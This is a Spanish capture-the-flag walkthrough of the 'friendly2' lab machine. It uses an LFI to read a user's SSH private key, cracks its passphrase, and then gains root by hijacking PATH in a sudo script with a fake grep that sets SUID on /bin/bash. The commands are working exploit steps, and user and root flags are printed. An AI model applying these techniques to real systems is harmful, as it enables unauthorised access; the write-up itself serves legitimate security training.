Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-15 03:11 EDT
Nmap scan report for 192.168.5.17
Host is up (0.0021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 74:fd:f1:a7:47:5b:ad:8e:8a:31:02:fe:44:28:9f:d2 (RSA)
| 256 16:f0:de:51:09:ff:fc:08:a2:9a:69:a0:ad:42:a0:48 (ECDSA)
|_ 256 65:0e:ed:44:e2:3e:f0:e7:60:0c:75:93:63:95:20:56 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Servicio de Mantenimiento de Ordenadores
MAC Address: 08:00:27:0C:8F:A4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.16 seconds
Veremos un puerto 80 bastante interesante, que aloja una pagina web, que si entramos veremos simplemente una web de servicio de ordenadores, pero nada mas, por lo que vamos a realizar un poco de fuzzing.
Gobuster
Info:
Veremos varias cosas interesantes, entre ellas el directorio llamado /tools si entramos dentro del mismo veremos otra pagina simple que pone informacion privada pero nada mas interesante, vamos a realizar fuzzing dentro de dicho directorio de nuevo.
Info:
Veremos de nuevo cosas interesantes, pero entre ellas el directorio llamado /documents que si entramos dentro del mismo veremos una serie de archivos, vamos a probar a meternos en los htmls pero no veremos gran informacion, ahora si volvemos a /tools e inspeccionamos el codigo veremos lo siguiente:
Escalate user gh0st
Veremos esa parte interesante, que nos esta indicando un archivo con extension .php a parte de un parametro que por lo que se entiende funciona para realizar una llamada a un archivo, por lo que vamos a intentar realizar un LFI a ver si funciona con dicho parametro.
Info:
Vemos que ha funcionado, ya que estamos viendo los usuarios, vemos uno llamado gh0st, ya que podemos leer archivos vamos a probar a intentar leer su clave PEM si tuviera alguna y si fuera accesible.
Info:
Vemos que ha funcionado de forma correcta, por lo que nos conectaremos por SSH mediante dicho usuario con su id_rsa.
SSH
Lo guardamos y establecemos los permisos necesarios para que se comporte como tal.
Ahora intentaremos conectarnos.
Info:
Vemos que nos pide la contraseña de dicha clave, por lo que vamos a intentar crackearlo de esta forma.
Info:
Vemos que hemos obtenido la contraseña de dicha clave, por lo que ahora si vamos a repetir el proceso de conectarnos por SSH pero ahora metiendo la clave.
Metemos como contraseña celtic y veremos que estamos dentro.
Info:
Vamos a leer la flag del usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar dicho script como el usuario root, vamos a ver como funciona por dentro.
Vemos una cosa bastante interesante en el script, y es que esta utilizando una ruta relativa para llamar al binario grep y no una absoluta por lo que podremos realizar un Path Hijacking y lo haremos de esta forma.
Lo guardamos y ahora exportamos la variable de entorno para que apunte a /tmp y se ejecute nuestro binario malicioso.
Ahora tendremos que ejecutar el binario de la siguiente forma:
Info:
Veremos que ha funcionado aparentemente, vamos a comprobarlo:
Info:
Vemos que ha funcionado de forma correcta, por lo que haremos lo siguiente para ser el usuario root.
Info:
Veremos que con eso ya seremos root por lo que leeremos la flag de root.
Pero si intentamos leerla pone esto:
Vamos a buscar por esos ... ya que por root.txt no veremos nada.
Info:
Si entramos dentro veremos un archivo llamado ebbg.txt que si lo leemos veremos lo siguiente:
Vamos a seguir la pista.
Info:
Ahora si sustituimos las letras de antes sin que afecte los numeros, quedaria la flag algo asi.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
celtic (id_rsa)
1g 0:00:00:06 DONE (2025-05-15 03:25) 0.1663g/s 42.59p/s 42.59c/s 42.59C/s tiffany..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ssh -i id_rsa gh0st@<IP>
Enter passphrase for key 'id_rsa':
Linux friendly2 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gh0st@friendly2:~$ whoami
gh0st
ab0366431e2d8ff563cf34272e3d14bd
Matching Defaults entries for gh0st on friendly2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User gh0st may run the following commands on friendly2:
(ALL : ALL) SETENV: NOPASSWD: /opt/security.sh
#!/bin/bash
echo "Enter the string to encode:"
read string
# Validate that the string is no longer than 20 characters
if [[ ${#string} -gt 20 ]]; then
echo "The string cannot be longer than 20 characters."
exit 1
fi
# Validate that the string does not contain special characters
if echo "$string" | grep -q '[^[:alnum:] ]'; then
echo "The string cannot contain special characters."
exit 1
fi
sus1='A-Za-z'
sus2='N-ZA-Mn-za-m'
encoded_string=$(echo "$string" | tr $sus1 $sus2)
echo "Original string: $string"
echo "Encoded string: $encoded_string"
cd /tmp
nano grep
#Dentro del nano
#!/bin/bash
echo "Permisos establecidos de forma correcta."
chmod u+s /bin/bash
chmod +x /tmp/grep
export PATH=/tmp:$PATH
sudo PATH=/tmp:$PATH /opt/security.sh
Enter the string to encode:
$$$
Permisos establecidos de forma correcta.
The string cannot contain special characters.
ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
bash -p
bash-5.1# whoami
root
ot yet! Try to find root.txt.
Hint: ...
find / -name "..." 2>/dev/null
/...
It's codified, look the cipher:
98199n723q0s44s6rs39r33685q8pnoq
Hint: numbers are not codified
bash /opt/security.sh
Enter the string to encode:
nqssrsrqpnoq
Permisos establecidos de forma correcta.
chmod: changing permissions of '/bin/bash': Operation not permitted
Original string: nqssrsrqpnoq
Encoded string: adffefedcabd